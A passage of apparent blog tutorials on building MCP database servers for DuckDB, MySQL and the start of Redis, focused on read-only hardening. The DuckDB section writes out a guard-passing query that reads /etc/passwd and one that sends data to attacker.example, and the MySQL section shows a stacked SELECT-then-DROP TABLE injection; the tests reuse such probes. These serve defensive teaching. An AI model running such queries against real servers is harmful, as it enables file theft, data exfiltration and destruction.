protect a DuckDB one, because DuckDB's SQL can read your filesystem and reach the network. You need one extra setting, `enable_external_access: false`, and this guide proves why with runnable code. If you have read our SQLite guide, you know the pattern: open the database read-only, allow only single SELECT statements, bind every value. That guide says you can swap the driver and keep the same rules for another database. For Postgres and MySQL that holds. For DuckDB it does not, and the gap is a data-exfiltration hole. This post builds the DuckDB server, shows the exact query that walks through the SQLite-style guard untouched, and closes it. **What you will build** - A DuckDB MCP server in TypeScript with three tools: `list_tables`, `describe_table`, and `query`. - A read-only setup that actually holds on DuckDB, not just on paper. - The one guard-passing query that reads `/etc/passwd` on a naive port, and the setting that blocks it. - Correct JSON serialization for DuckDB's `BIGINT`, `DECIMAL`, and `TIMESTAMP` values. - An end-to-end test that asserts row counts against a database you can count by hand. ## Why is a DuckDB MCP server different from a SQLite one? DuckDB is an in-process analytical database, like SQLite in that there is no server to run and the whole database is one file. Unlike SQLite, its SQL surface is built to pull in outside data. `read_csv`, `read_parquet`, and `read_json` accept a local path or an `https://` URL and return the contents as a table. That is a feature for analytics. Inside an MCP tool that runs whatever SQL a model sends, it is a way to read files the model was never meant to see. The MCP layer really is the same three tools. The database layer is not. SQLite's query language cannot open a file on your disk. DuckDB's can, and it does it from inside a plain `SELECT`. So the guard that is complete for SQLite, single statement, starts with `select`, is necessary but not sufficient here. ## Set up the project You need Node 22 or later. This guide was written and tested on Node 25.8.1, DuckDB 1.5.5 through `@duckdb/node-api`, and the MCP TypeScript SDK 1.30.0. Create a folder and add this `package.json`, then run `npm install`. ```json { "name": "duckdb-mcp-server", "private": true, "type": "module", "dependencies": { "@duckdb/node-api": "1.5.5-r.4", "@modelcontextprotocol/sdk": "1.30.0" } } ``` Two dependencies, no database server, no driver daemon. `@duckdb/node-api` bundles DuckDB itself. ## Create a database to read Build a small database you can verify by counting. Save this as `make-fixture.mjs` and run `node make-fixture.mjs`. It writes `shop.duckdb` with two tables: `orders` has 5 rows, `customers` has 4. Hold those two numbers. The end-to-end test asserts against them, and a test that checks its result against a number you already know is the one that catches a bug instead of agreeing with it. ```javascript import { DuckDBInstance } from "@duckdb/node-api"; import { rmSync } from "node:fs"; rmSync("shop.duckdb", { force: true }); const instance = await DuckDBInstance.create("shop.duckdb"); const db = await instance.connect(); await db.run(`CREATE TABLE orders ( id BIGINT, customer VARCHAR, total DECIMAL(10,2), placed_at TIMESTAMP)`); await db.run(`INSERT INTO orders VALUES (1,'ada', 19.99, '2026-08-01 10:00:00'), (2,'grace', 249.50, '2026-08-02 11:30:00'), (3,'alan', 5.00, '2026-08-03 09:15:00'), (4,'ada', 87.25, '2026-08-04 14:45:00'), (5,'katherine',1200.00,'2026-08-05 16:20:00')`); await db.run(`CREATE TABLE customers (name VARCHAR, city VARCHAR)`); await db.run(`INSERT INTO customers VALUES ('ada','London'),('grace','New York'), ('alan','Wilmslow'),('katherine','Hampton')`); db.closeSync(); instance.closeSync(); console.log("shop.duckdb built: orders=5, customers=4"); ``` ## How do you expose a DuckDB database over MCP? Here is the whole server, `server.mjs`. It is the hardened version. Read it once, then the next two sections show the two traps it is written to avoid, each measured against the naive version first. ```javascript import { DuckDBInstance } from "@duckdb/node-api"; import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { z } from "zod"; const DB_PATH = process.argv[2] ?? "shop.duckdb"; // Two settings do the security work, and you need both. // access_mode READ_ONLY -> the database refuses writes. // enable_external_access false -> SQL cannot touch the filesystem or network. const instance = await DuckDBInstance.create(DB_PATH, { access_mode: "READ_ONLY", enable_external_access: "false", }); const db = await instance.connect(); // DuckDB returns BIGINT as a JS bigint, and DECIMAL/TIMESTAMP as class // instances. None of those survive JSON.stringify. Convert every cell to a // plain, serializable value before it leaves the tool. function toPlain(value) { if (typeof value === "bigint") return Number(value); if (value === null || value === undefined) return value; if (typeof value === "object") return value.toString(); return value; } function rowsToJson(reader) { return reader.getRowObjects().map((row) => { const out = {}; for (const [k, v] of Object.entries(row)) out[k] = toPlain(v); return out; }); } // SELECT-only guard: single statement, starts with select or with. function assertSelect(sql) { const s = sql.trim().toLowerCase(); if (!(s.startsWith("select") || s.startsWith("with"))) throw new Error("Only SELECT/WITH queries are allowed."); if (s.replace(/;\s*$/, "").includes(";")) throw new Error("Only a single statement is allowed."); } const server = new McpServer({ name: "duckdb-reader", version: "1.0.0" }); server.registerTool("list_tables", { title: "List tables", description: "List the tables in the database.", inputSchema: {} }, async () => { const r = await db.runAndReadAll( "SELECT table_name FROM information_schema.tables WHERE table_schema = 'main' ORDER BY table_name"); return { content: [{ type: "text", text: JSON.stringify(rowsToJson(r)) }] }; }); server.registerTool("describe_table", { title: "Describe a table", description: "Show column names and types for one table.", inputSchema: { table: z.string() } }, async ({ table }) => { // identifier cannot be bound; validate it against the catalog first const chk = await db.runAndReadAll( `SELECT 1 FROM information_schema.tables WHERE table_schema='main' AND table_name= '${table.replace(/'/g,"''")}'`); if (rowsToJson(chk).length === 0) throw new Error(`Unknown table: ${table}`); const r = await db.runAndReadAll( `SELECT column_name, data_type FROM information_schema.columns WHERE table_schema='main' AND table_name='${table.replace(/'/g,"''")}' ORDER BY ordinal_position`); return { content: [{ type: "text", text: JSON.stringify(rowsToJson(r)) }] }; }); server.registerTool("query", { title: "Run a read-only query", description: "Run a single SELECT and return rows as JSON.", inputSchema: { sql: z.string(), params: z.array(z.any()).optional() } }, async ({ sql, params = [] }) => { assertSelect(sql); const prepared = await db.prepare(sql); if (params.length) prepared.bind(params); const r = await prepared.runAndReadAll(); return { content: [{ type: "text", text: JSON.stringify(rowsToJson(r)) }] }; }); await server.connect(new StdioServerTransport()); ``` Three tools. `list_tables` and `describe_table` read from `information_schema`, which DuckDB provides. `query` runs one SELECT, binds parameters positionally, and returns rows as JSON in a text content block. Note `describe_table` validates the table name against the catalog before using it, because an identifier cannot be bound like a value. Now the two things this file does that a straight SQLite port would miss. ## The trap: a guard-passing SELECT can read your files Suppose you port the SQLite server directly. You open read-only and you keep the same SELECT-only guard: ```javascript // The naive port of a SQLite server: open read-only and call it safe. const instance = await DuckDBInstance.create("shop.duckdb", { access_mode: "READ_ONLY", }); ``` Now a model, or anyone who can influence the SQL your tool runs, sends this: ```sql // This query passes the SELECT-only guard. It starts with "select" and it is // one statement. On SQLite it can only ever see your tables. On DuckDB: SELECT * FROM read_csv('/etc/passwd'); SELECT * FROM read_csv('https://attacker.example/collect?d=' || (SELECT ...)); ``` Both queries start with `select` and are single statements, so the guard passes them. On the naive open, the first one returns the contents of any file the process can read, and the second sends your data to a remote host and returns its response. Running this against a local secret file in a scratch project, the tool returned the file's contents as ordinary rows. Nothing threw. The read-only mode did not help, because read-only stops writes to the database, not reads of the filesystem. There is a second surprise in the same area. `COPY (SELECT ...) TO 'file.csv'` writes a file to disk, and it succeeds even when the database is open in read-only mode. Read-only guards the database file. It says nothing about the rest of your disk. The SELECT-only guard rejects `COPY` because it does not start with `select`, but that is the guard doing the work, not the read-only setting you were relying on. ## The fix: turn off external access DuckDB has one setting that closes all of it. Pass `enable_external_access: false` when you create the instance, which is exactly what the server above does: ```javascript const instance = await DuckDBInstance.create("shop.duckdb", { access_mode: "READ_ONLY", enable_external_access: "false", }); ``` With that flag set, the same file read now fails with a permission error, `file system operations are disabled by configuration`. The network read fails the same way. `COPY ... TO` fails too. And a normal query still works: `SELECT count(*) FROM orders` still returns 5. Set it at instance creation, before any query runs, because it cannot be turned back off from inside a query once the instance is locked down. > **The rule** > > On DuckDB you need two settings, not one. `access_mode: READ_ONLY` stops writes to the database. `enable_external_access: false` stops SQL from touching the filesystem and network. A SELECT-only guard alone leaves both open. ## Serialize the values DuckDB returns The other place the SQLite port breaks is quieter and you hit it on the very first query. `SELECT count(*)` on DuckDB returns a JavaScript `bigint`, and `JSON.stringify` throws on a bigint: `TypeError: Do not know how to serialize a BigInt`. Your tool returns JSON in a text block, so the first count you run crashes the response. `DECIMAL` and `TIMESTAMP` columns come back as class instances, `DuckDBDecimalValue` and `DuckDBTimestampValue`, which stringify to `[object Object]` if you are not careful. The `toPlain` helper in the server handles all three: `bigint` becomes a number, and any remaining object is converted with its `toString`, which for DuckDB's value types produces the correct text form. Run every cell through it before the rows leave the tool. SQLite's built-in driver returns plain numbers and strings, so its guide never needs this step. That is the sense in which the MCP side is not identical. ## Bind parameters the DuckDB way One more difference to get right, because it fails loudly. A `node:sqlite` or `pg` style server binds by spreading values into the call. DuckDB's prepared statement takes the whole values array in one `bind()` call, with parameters numbered from 1: ```javascript const prepared = await db.prepare(sql); if (params.length) prepared.bind(params); // not bind(index, value) const rows = await prepared.runAndReadAll(); ``` Call it once with the array. Binding value by value with `bind(i, value)` silently leaves parameters unset, and the query then fails with `Values were not provided for the following prepared statement parameters`. Use `?` placeholders in the SQL and pass a `params` array to the tool. ## Test the server end to end Prove it with a real MCP client, not by eye. Save this as `test.mjs` and run `node test.mjs`. It spawns the server over stdio, calls the tools, and asserts against the counts you set in the fixture: `orders` is 5, `customers` is 4, and every exfiltration query is refused. ```javascript import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const t = new StdioClientTransport({ command: "node", args: ["server.mjs", "shop.duckdb"] }); const client = new Client({ name: "test", version: "1.0.0" }); await client.connect(t); let fail = 0; const check = (name, cond, got) => { console.log(`${cond?'PASS':'FAIL'} ${name}${cond?'':' got='+JSON.stringify(got)}`); if(!cond) fail++; }; const call = async (n,a={}) => JSON.parse((await client.callTool({name:n,arguments:a})).content[0].text); // ground truth: orders=5, customers=4, 2 tables const tables = await call("list_tables"); check("list_tables = [customers, orders]", JSON.stringify(tables.map(r=>r.table_name).sort())==='["customers","orders"]', tables); const oc = await call("query", { sql: "SELECT count(*) AS n FROM orders" }); check("orders count = 5 (bigint serialized)", oc[0].n === 5, oc); const cc = await call("query", { sql: "SELECT count(*) AS n FROM customers" }); check("customers count = 4", cc[0].n === 4, cc); const row = await call("query", { sql: "SELECT total, placed_at FROM orders WHERE id = 2" }); check("decimal+timestamp serialize as strings", typeof row[0].total==='string' && row[0].placed_at.startsWith('2026-08-02'), row); const bound = await call("query", { sql: "SELECT customer FROM orders WHERE total > ?", params: [100] }); check("param binding works (2 rows > 100)", bound.length===2, bound); // the security surface all must be blocked now const blocked = async (label, args) => { try { const r = await client.callTool({name:"query", arguments:args}); const txt=r.content[0].text; check(label+" blocked", r.isError===true || /disabled|Only SELECT|Permission/i.test(txt), txt); } catch(e){ check(label+" blocked", /disabled|Only SELECT|Permission|allowed/i.test(e.message), e.message); } }; await blocked("local file read", { sql: "SELECT * FROM read_csv('/tmp/duckdb-probe-secret.csv')" }); await blocked("network read", { sql: "SELECT * FROM read_csv('https://raw.githubusercontent.com/duckdb/duckdb-web/main/data/weather.csv')" }); await blocked("non-select (DELETE)", { sql: "DELETE FROM orders" }); // COPY TO is not a SELECT so the guard rejects it; also FS is disabled. Confirm no file appears. import { existsSync, rmSync } from "node:fs"; rmSync('/tmp/duckdb-e2e-exfil.csv',{force:true}); await blocked("COPY exfil", { sql: "COPY (SELECT * FROM orders) TO '/tmp/duckdb-e2e-exfil.csv'" }); check("no exfil file on disk", !existsSync('/tmp/duckdb-e2e-exfil.csv')); await client.close(); console.log(fail? `\n${fail} FAILED` : "\nALL PASS"); process.exit(fail?1:0); ``` All ten checks pass on the hardened server: the counts match, the `bigint` count serializes, decimals and timestamps come back as strings, parameter binding returns the right rows, and the file read, network read, `DELETE`, and `COPY` exfil are all blocked with no file left on disk. Point the same test at the naive open and the file-read and network checks fail, which is the whole point. ## Connect it to a client Register the server with any MCP client by pointing it at `server.mjs` and your database file. In a client that reads a JSON config, add an entry like this, using absolute paths: ```json { "mcpServers": { "duckdb": { "command": "node", "args": ["/absolute/path/to/server.mjs", "/absolute/path/to/shop.duckdb"] } } } ``` The model can now list your tables, read their schemas, and run read-only queries, and it cannot read a file or call out to the network to do it. --- ## Frequently asked questions ### Do I need a separate DuckDB server or driver process? No. DuckDB is in-process, like SQLite. The `@duckdb/node-api` package bundles the engine, so `npm install` is the whole setup. There is no server daemon to run and no connection pool to manage. ### Why is a read-only connection not enough for a DuckDB MCP server? Read-only stops writes to the database. It does not stop reads of your filesystem or calls to the network. DuckDB functions like `read_csv` and `read_parquet` accept a local path or an `https://` URL from inside a plain `SELECT`, so a guard that only checks for a single SELECT still lets them through. Set `enable_external_access: false` at instance creation to close that. ### Can I use the same code for Postgres or MySQL? The MCP tools and the SELECT-only guard carry over. The database-specific parts do not. Postgres and MySQL do not read local files from a SELECT, so they do not need `enable_external_access`, but they do need their own driver, a read-only role or connection, and their own value-to-JSON conversion. Treat each database's read-only story on its own terms rather than assuming the SQLite rules transfer. ### Why does JSON.stringify throw on my query result? DuckDB returns `BIGINT` as a JavaScript `bigint`, and `JSON.stringify` cannot serialize a bigint. `SELECT count(*)` is the usual first place this bites. Convert `bigint` to a number and convert DuckDB's `DECIMAL` and `TIMESTAMP` value objects with their `toString` before you stringify. The `toPlain` helper in this guide does that. ### Can DuckDB read Parquet and CSV files directly through this server? It can, and that is exactly what you are turning off for a server exposed to a model. If you want a server that reads a specific trusted Parquet or CSV file, keep `enable_external_access` off and load that file into a table at startup instead, so the model queries the table rather than an arbitrary path. ### Does the MCP SDK have DuckDB cache hints or a TTL for query results? No. As of MCP TypeScript SDK 1.30.0 the latest protocol version is 2025-11-25 and there is no cache-hint or TTL field in the SDK. Caching is your server's concern. If you cache query results, hold the TTL in your own code, not in an SDK field that does not exist yet. You now have a DuckDB MCP server that a model can query safely, with the one setting that a straight SQLite port leaves out. To check what it returns before an agent does, [add it to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and run each tool by hand. [Download MCPOrbit for macOS](/api/download) --- # How to build an MCP server for MySQL URL: https://mcporbit.com/blog/build-an-mcp-server-for-mysql Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Tutorial Tags: MCP, TypeScript, MySQL, Tutorial, Databases Build a read-only MySQL MCP server in one file, and fix the four mysql2 defaults that silently corrupt IDs, dates and blobs before a model sees them. To build a Model Context Protocol (MCP) server for MySQL, connect with `mysql2`, expose `list_tables`, `describe_table` and `query` as tools, and enforce read-only access with a MySQL user that only holds `SELECT`. The whole server is about 90 lines. The part that takes longer is the four `mysql2` defaults that quietly hand your model wrong data. If you have built an MCP server for SQLite or Postgres, the advice you will hear is that MySQL is the same job with a different driver. The MCP side really is identical: same three tools, same read-only rule. The driver is not. We built the server below against MySQL 26.7.0 and `mysql2` 3.24.2, then measured what came back. Four of the defaults are wrong for MCP, and none of them raise an error. - `mysql2` returns `BIGINT` as a JavaScript number by default, so an ID of 9007199254740993 reaches your model as 9007199254740992. No warning is raised. - A `DATE` column becomes a JS `Date`, and `JSON.stringify` converts it to UTC. In any timezone east of UTC the calendar date moves back one day. - `START TRANSACTION READ ONLY` blocks `INSERT`, `UPDATE` and `DELETE`, but it does not block `DROP TABLE`. DDL commits implicitly and runs anyway. - A `BLOB` becomes a Buffer, which serializes to `{"type":"Buffer","data":[37,80,...]}` instead of anything a model can read. - The fix for all four is four connection flags and a `GRANT SELECT` user. Full server source is inlined below and runs as written. ## What you need before you start Node.js 20 or newer, a running MySQL 8.0 or later, and an MCP client such as Claude Desktop. We used MySQL 26.7.0 on port 3399. Create a project and pin the two dependencies: ```bash mkdir mysql-mcp && cd mysql-mcp npm init -y npm pkg set type=module npm install mysql2@3.24.2 @modelcontextprotocol/sdk@1.30.0 zod@3.24.1 ``` For a database to read against, this is the schema every example below uses. The order ID is deliberately 2^53 + 1, the smallest integer a JavaScript double cannot represent: ```sql CREATE DATABASE shop; USE shop; CREATE TABLE orders ( id BIGINT UNSIGNED PRIMARY KEY, customer VARCHAR(80) NOT NULL, total DECIMAL(12,2) NOT NULL, is_paid TINYINT(1) NOT NULL DEFAULT 0, placed_on DATE NOT NULL, placed_at DATETIME NOT NULL, receipt BLOB ); INSERT INTO orders VALUES (9007199254740993, 'Ada Lovelace', 1299.99, 1, '2026-03-01', '2026-03-01 23:30:00', 0x255044462D312E34), (2, 'Grace Hopper', 49.50, 0, '2026-03-02', '2026-03-02 09:15:00', NULL); ``` ## Why can't you just swap the driver? Here is one row read back through `mysql2` with default settings, printed exactly as an MCP tool would send it: ```json { "id": 9007199254740992, "customer": "Ada Lovelace", "total": "1299.99", "is_paid": 1, "placed_on": "2026-03-01T00:00:00.000Z", "placed_at": "2026-03-01T23:30:00.000Z", "receipt": { "type": "Buffer", "data": [37, 80, 68, 70, 45, 49, 46, 52] } } ``` Compare that to what is in the table. The ID we inserted was 9007199254740993. What came back is 9007199254740992. MySQL stored the value correctly and `mysql2` parsed it into a double, which cannot hold it. Ask the model to look up that order and it will query an ID that does not exist. > **The failure mode that matters** > > This is not a crash. It is an off-by-one on a primary key, delivered with full confidence, in a field the model has no way to check. Every other bug on this page is a variant of the same shape: the driver answers, the answer is wrong, and nothing logs. The other three lines are wrong in the same quiet way. `total` is a string, so any arithmetic the model tries is string concatenation. `receipt` is a Buffer that serialized into an array of byte values. And `placed_on` is the one that bites hardest in production. ### The date is wrong in half the world A MySQL `DATE` has no time and no timezone. `mysql2` turns it into a JS `Date` at local midnight, and `JSON.stringify` then converts that to UTC. We read the same row, `placed_on = 2026-03-02`, under five values of `TZ`: ```text TZ=Asia/Tokyo -> "2026-03-01T15:00:00.000Z" model reads 2026-03-01 TZ=Australia/Sydney -> "2026-03-01T13:00:00.000Z" model reads 2026-03-01 TZ=Europe/Berlin -> "2026-03-01T23:00:00.000Z" model reads 2026-03-01 TZ=UTC -> "2026-03-02T00:00:00.000Z" model reads 2026-03-02 TZ=America/Los_Angeles -> "2026-03-02T08:00:00.000Z" model reads 2026-03-02 ``` Any timezone east of UTC moves the date back a day. Your tests pass in London and the server is wrong in Berlin. Nothing about the deployment looks different. ## How do you make a MySQL MCP server read-only? Two approaches look reasonable and both fail. The third one works. The first is a regex on the SQL string, allowing only statements that start with `SELECT`. `mysql2` rejects stacked statements by default with `ER_PARSE_ERROR`, so this appears to hold. But `multipleStatements: true` is a common setting, copied in from migration scripts and connection-string examples. With it on, we sent this through a `/^\s*select/i` guard: ```sql SELECT * FROM customers WHERE id = 1; DROP TABLE customers ``` The string starts with `SELECT`, so the guard passed it. The table was dropped. A guard whose correctness depends on a connection flag set somewhere else is not a guard. The second approach is MySQL's own read-only transaction, which looks like the built-in answer. It is not enough. We opened `START TRANSACTION READ ONLY` and tried two writes: ```text INSERT INTO customers VALUES (99,'mallory') -> REJECTED ER_CANT_EXECUTE_IN_READ_ONLY_TRANSACTION DROP TABLE customers -> ACCEPTED table dropped ``` `DROP TABLE` is DDL. DDL causes an implicit commit in MySQL, which ends the read-only transaction before the statement is evaluated against it. The transaction blocked the harmless write and allowed the destructive one. The approach that holds is a MySQL user that was never granted anything else. Privileges are checked by the server, so no client flag, no injected statement, and no clever SQL can route around them: ```sql CREATE USER 'mcp_ro'@'%' IDENTIFIED BY 'choose-a-real-password'; REVOKE ALL PRIVILEGES, GRANT OPTION FROM 'mcp_ro'@'%'; GRANT SELECT ON shop.* TO 'mcp_ro'@'%'; FLUSH PRIVILEGES; ``` Connected as that user, every write we tried was refused by the server: ```text SELECT ALLOWED INSERT DENIED ER_TABLEACCESS_DENIED_ERROR UPDATE DENIED ER_TABLEACCESS_DENIED_ERROR DELETE DENIED ER_TABLEACCESS_DENIED_ERROR DROP TABLE DENIED ER_TABLEACCESS_DENIED_ERROR CREATE DENIED ER_TABLEACCESS_DENIED_ERROR TRUNCATE DENIED ER_TABLEACCESS_DENIED_ERROR other db DENIED ER_TABLEACCESS_DENIED_ERROR ``` > **Grant scope** > > `GRANT SELECT ON shop.*` also stops the server reading `mysql.user` or any other database on the same instance. Grant the one schema the server is for, never `*.*`. ## The connection settings that fix the type bugs Four flags correct everything in the bad row above. Set them once on the pool: ```javascript const pool = mysql.createPool({ host: process.env.MYSQL_HOST, port: Number(process.env.MYSQL_PORT ?? 3306), user: process.env.MYSQL_USER, password: process.env.MYSQL_PASSWORD, database: process.env.MYSQL_DATABASE, connectionLimit: 4, multipleStatements: false, // stacked statements stay a parse error supportBigNumbers: true, // read BIGINT without a double bigNumberStrings: true, // return it as an exact string dateStrings: true, // DATE stays '2026-03-02' timezone: "Z", }); ``` `supportBigNumbers` alone is not enough. Without `bigNumberStrings`, `mysql2` still returns a number when the value happens to fit, so the bug reappears only for large IDs. Set both and every `BIGINT` is a string. Leave `DECIMAL` as a string too: `1299.99` is exact as text and lossy as a float, which is what you want for money. Buffers need code rather than a flag. Convert them at the edge so a BLOB arrives as something a model can name: ```javascript function toJson(rows) { return rows.map((row) => { const out = {}; for (const [k, v] of Object.entries(row)) { out[k] = Buffer.isBuffer(v) ? { base64: v.toString("base64") } : v; } return out; }); } ``` ### Use a pool, not a connection MySQL closes idle connections after `wait_timeout`, which defaults to 28800 seconds. An MCP server sits idle between tool calls for exactly that kind of stretch. We set `wait_timeout` to 3 seconds and idled for 6: ```text createConnection -> FAILED: Can't add new command when connection is in closed state createPool -> recovered, returned {"c":2} ``` `createConnection` gives you one socket and no recovery. The pool discards the dead connection and opens a new one, so the tool call just works. This is why the server below uses `createPool` even though it only ever needs one connection at a time. ## The complete server One file, `server.mjs`. It exposes three tools: `list_tables`, `describe_table` and `query`. Errors come back as `isError` tool results rather than thrown exceptions, so the model can read the failure and try again: ```javascript import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { z } from "zod"; import mysql from "mysql2/promise"; const pool = mysql.createPool({ host: process.env.MYSQL_HOST ?? "127.0.0.1", port: Number(process.env.MYSQL_PORT ?? 3306), user: process.env.MYSQL_USER, password: process.env.MYSQL_PASSWORD, database: process.env.MYSQL_DATABASE, connectionLimit: 4, multipleStatements: false, supportBigNumbers: true, bigNumberStrings: true, dateStrings: true, timezone: "Z", }); function toJson(rows) { return rows.map((row) => { const out = {}; for (const [k, v] of Object.entries(row)) { out[k] = Buffer.isBuffer(v) ? { base64: v.toString("base64") } : v; } return out; }); } const server = new McpServer({ name: "mysql-mcp", version: "1.0.0" }); server.registerTool( "list_tables", { description: "List the tables in the configured database.", inputSchema: {} }, async () => { const [rows] = await pool.query( "SELECT table_name AS name, table_rows AS approx_rows FROM information_schema.tables WHERE table_schema = DATABASE() ORDER BY table_name" ); return { content: [{ type: "text", text: JSON.stringify(toJson(rows), null, 2) }] }; } ); server.registerTool( "describe_table", { description: "Show the columns and types of one table.", inputSchema: { table: z.string().describe("Table name") }, }, async ({ table }) => { const [rows] = await pool.query( "SELECT column_name AS name, column_type AS type, is_nullable AS nullable, column_key AS `key` FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = ? ORDER BY ordinal_position", [table] ); if (rows.length === 0) { return { content: [{ type: "text", text: `No table named ${table} in this database.` }], isError: true }; } return { content: [{ type: "text", text: JSON.stringify(toJson(rows), null, 2) }] }; } ); server.registerTool( "query", { description: "Run one read-only SQL query and return the rows.", inputSchema: { sql: z.string().describe("A single SELECT statement"), params: z.array(z.union([z.string(), z.number(), z.boolean(), z.null()])).optional(), }, }, async ({ sql, params = [] }) => { try { const [rows] = await pool.execute(sql, params); const capped = rows.slice(0, 200); return { content: [ { type: "text", text: JSON.stringify( { row_count: rows.length, truncated: rows.length > capped.length, rows: toJson(capped) }, null, 2 ), }, ], }; } catch (err) { return { content: [{ type: "text", text: `${err.code ?? "ERROR"}: ${err.message}` }], isError: true }; } } ); await server.connect(new StdioServerTransport()); ``` Two details in `query` are worth naming. It uses `pool.execute`, which sends a real prepared statement, so `?` placeholders are bound by the server and never interpolated into SQL. And it caps results at 200 rows while still reporting the true `row_count`, because a `SELECT *` against a large table will otherwise fill the model's context with a single tool result. > **Placeholders cannot bind identifiers** > > `SELECT * FROM ?` fails with `ER_PARSE_ERROR`. A placeholder binds a value, never a table or column name. If you must build a name into SQL, pass it through `mysql.escapeId`, which turns `a\`; DROP TABLE x; --` into a single quoted identifier. ## Test it end to end Run the server against the read-only user and call it over stdio. Point your client at it with this config: ```json { "mcpServers": { "mysql": { "command": "node", "args": ["/absolute/path/to/mysql-mcp/server.mjs"], "env": { "MYSQL_HOST": "127.0.0.1", "MYSQL_PORT": "3306", "MYSQL_USER": "mcp_ro", "MYSQL_PASSWORD": "choose-a-real-password", "MYSQL_DATABASE": "shop" } } } } ``` Calling `query` with `SELECT id, customer, total, is_paid, placed_on, placed_at, receipt FROM orders ORDER BY id` returns this. Every field from the broken row at the top of this post is now correct: ```json { "row_count": 2, "truncated": false, "rows": [ { "id": "2", "customer": "Grace Hopper", "total": "49.50", "is_paid": 0, "placed_on": "2026-03-02", "placed_at": "2026-03-02 09:15:00", "receipt": null }, { "id": "9007199254740993", "customer": "Ada Lovelace", "total": "1299.99", "is_paid": 1, "placed_on": "2026-03-01", "placed_at": "2026-03-01 23:30:00", "receipt": { "base64": "JVBERi0xLjQ=" } } ] } ``` The ID is exact, the date is the date that is in the table, and the BLOB is base64. Now confirm the guard. Both of these come back as `isError` results, refused at the server rather than by a string check: ```text query { "sql": "DROP TABLE customers" } ER_TABLEACCESS_DENIED_ERROR: DROP command denied to user 'mcp_ro'@'localhost' for table 'customers' query { "sql": "SELECT * FROM customers WHERE id = 1; DROP TABLE customers" } ER_PARSE_ERROR: You have an error in your SQL syntax ... near 'DROP TABLE customers' ``` That is the test worth keeping in your own project. A read-only database server should be able to prove it refuses a `DROP`, and the proof should come from the database rather than from your code. ## Frequently asked questions ## Frequently asked questions ### Can I use the same MCP server code for MySQL, Postgres and SQLite? The MCP layer ports directly: the same three tools and the same read-only rule work for all three. The driver layer does not. `mysql2` truncates `BIGINT` to a double by default and returns `DATE` as a JS `Date`, where `pg` returns both as strings. Port the tool definitions, then re-check every column type. ### Why does my MySQL MCP server return the wrong ID? `mysql2` parses `BIGINT` into a JavaScript number unless you set `supportBigNumbers: true` and `bigNumberStrings: true`. Any value above 2^53 loses precision silently, so 9007199254740993 comes back as 9007199254740992. Set both flags and IDs are returned as exact strings. ### Is START TRANSACTION READ ONLY enough to make an MCP server safe? No. It blocks `INSERT`, `UPDATE` and `DELETE`, but DDL such as `DROP TABLE` triggers an implicit commit and executes anyway. Connect as a MySQL user granted only `SELECT` on the one schema you are exposing; the server then refuses writes regardless of what SQL reaches it. ### Do I need to block SQL injection in an MCP database server? Yes, and a regex on the statement is not enough. Use `pool.execute` with `?` placeholders so values are bound by the server, keep `multipleStatements: false`, and rely on a `SELECT`-only grant as the real boundary. Placeholders cannot bind table or column names, so pass any dynamic identifier through `mysql.escapeId`. ### Why does my MySQL MCP server stop working after it sits idle? MySQL closes idle connections after `wait_timeout`, 28800 seconds by default, and an MCP server is idle between tool calls. A single `createConnection` fails with "Can't add new command when connection is in closed state". Use `mysql.createPool`, which replaces the dead connection on the next query. ### Should I expose database tables as MCP resources instead of tools? Expose the schema as resources and the queries as tools. A client can list resources up front to learn what exists, which keeps table discovery out of the model's tool-call budget, while the actual reads stay explicit tool calls you can log and rate-limit. The server above is a complete, working MySQL MCP server, and the four defaults it corrects are the ones you would otherwise ship without noticing. Build it, point a client at it, then run the `DROP TABLE` call yourself and watch the database refuse it. [Connect the server in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call your MySQL tools by hand. You see the exact JSON a model would read, which is how you catch a tool that started returning the wrong row. [Download MCPOrbit for macOS](/api/download) --- # How to build an MCP server for Redis URL: https://mcporbit.com/blog/build-an-mcp-server-for-redis Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Tutorial Tags: Redis, MCP, Resources, TTL, Node.js, Databases Expose Redis over MCP: read all five types, page with SCAN instead of KEYS, and carry each key's TTL in the payload, because the protocol has no field for it. To build a Model Context Protocol (MCP) server for Redis, read the key's type before its value, page the keyspace with `SCAN` instead of `KEYS`, map `BLOB_STRING` to `Buffer` so binary values survive, and put each key's remaining TTL in the response body yourself. A `get` tool alone reads one of Redis's five core types and blocks the server on any keyspace worth reading. Redis is not a table you can `SELECT` from. It is five different data structures behind one keyspace, and half the useful information about a key is not in its value at all. It is in the type and the TTL. That shapes the server: this one leans on resources rather than tools, because a Redis key is a thing you read, not a question you ask. **What the obvious version gets wrong** - `GET` throws `WRONGTYPE` on hashes, lists, sets and sorted sets. It reads 1 of the 5 core types. - `KEYS *` on a million keys stalled another client's `PING` for 102 ms. Redis is single threaded, so that is a stall for everyone. - The default client decodes values as UTF-8. An 8 byte PNG header came back as 10 bytes, silently corrupted. - Fixing that with a `Buffer` type mapping breaks `SCAN`: the cursor becomes a `Buffer`, so the standard loop never terminates and emits duplicate keys. - `@modelcontextprotocol/sdk` 1.30.0 has no `ttlMs` or `cacheScope` field anywhere, so a key's expiry has to travel in the payload. > **Note** > > Every number here was measured on 2026-08-28 against Redis 8.10.1 on localhost, with `redis` 6.2.1 and `@modelcontextprotocol/sdk` 1.30.0 on Node 25. The server at the end was run end to end over stdio against the SDK's own client. ## What you need before you start Node.js 20 or newer and a Redis you can write to. A throwaway instance on a spare port is enough, and it does not need to persist anything. ```bash brew install redis redis-server --port 6399 --daemonize yes --save '' --appendonly no mkdir redis-mcp && cd redis-mcp npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk@1.30.0 redis@6.2.1 zod@3.25.76 ``` Seed one key of each core type. Every example below reads these. ```bash redis-cli -p 6399 SET user:1:name ada redis-cli -p 6399 HSET user:1 name ada plan pro redis-cli -p 6399 RPUSH user:1:events login export redis-cli -p 6399 SADD user:1:tags beta admin redis-cli -p 6399 ZADD leaderboard 10 ada 7 grace redis-cli -p 6399 SET session:abc active EX 